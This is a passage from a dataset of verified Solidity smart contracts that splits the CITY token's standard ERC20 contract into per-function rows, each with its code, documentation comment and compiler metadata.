subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
approve
function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 2138, 2387 ] }
12,446
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
transferFrom
function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; }
/** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 2855, 3159 ] }
12,447
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; }
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 3669, 3997 ] }
12,448
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; }
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 4512, 4850 ] }
12,449
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
_transfer
function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); }
/** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 5067, 5334 ] }
12,450
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } }
_mint
function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); }
/** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */
NatSpecMultiLine
v0.5.0+commit.1d4f565a
None
bzzr://442a9d19f035639e6a51b64b6b2be99c7d5007d3e3a60d8f13a15b6199c540d2
{ "func_code_index": [ 5681, 5955 ] }
12,451
CITY
CITY.sol
0xee2bddc46f20615a53f03bf9bd58b94be23f3958
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) internal _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = 